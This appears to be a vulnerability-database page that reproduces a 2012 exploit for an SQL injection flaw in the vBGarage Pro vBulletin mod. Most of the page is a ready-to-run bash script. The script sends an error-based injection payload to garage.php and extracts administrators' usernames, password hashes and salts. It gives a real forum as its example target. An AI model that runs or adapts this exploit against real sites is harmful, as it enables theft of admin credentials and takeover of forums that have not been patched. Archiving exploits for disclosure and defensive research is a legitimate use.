Lucene search
K

vBGarage Pro vBulletin Mod - SQL Injection

🗓️ 24 Oct 2012 00:00:00Reported by MegaManSecType 
zdt
 zdt
🔗 0day.today👁 21 Views

vBulletin Mod SQL Injection vulnerability in vBGarage Pr

Code
#!/bin/bash
##############
# MegaManSec #
##############
##############
#  InterNot  #
##############
echo "MegaManSec @ www.internot.info"
echo "White-Hat Hacker :)"
if [ -z "$1" ]; then
echo "Usage: $0 http://link.to/forum/"
echo "Example: $0 http://f800riders.org/forum/"
exit 1
fi
tmpfile="/tmp/vbg.tmp"
echo "securitytoken=guest&s=&searchuser=&search_year=1&model_year=') IN (select (1) from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password,0x3a,salt) as char),0x7e)) from user where usergroupid LIKE '%6%' LIMIT 1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''=''#&make_id=&model_id=&trim_id=&club_id=&category_id=&engine_type=&veh_class=&manufact_id=&product_id=&search_logic=any&do=search_results&submit=%3ESearch" > "$tmpfile"
 
sqldata=`curl -s -X POST -d @"$tmpfile" "$1"garage.php?do=search | grep -i 'MYSQL Error'| awk -F "Duplicate entry" '{print $2}' | awk -F "for key" '{print $1}' | w3m -dump -T text/html`
if [ -z "$sqldata" ]; then
echo "Either not vulnerable, or is not showing the hash+pwd, try manually if you don't believe"
exit 1
fi
echo "Here is username:hash:salt"
echo "$sqldata"
rm "$tmpfile"
exit 0

#  0day.today [2018-01-03]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation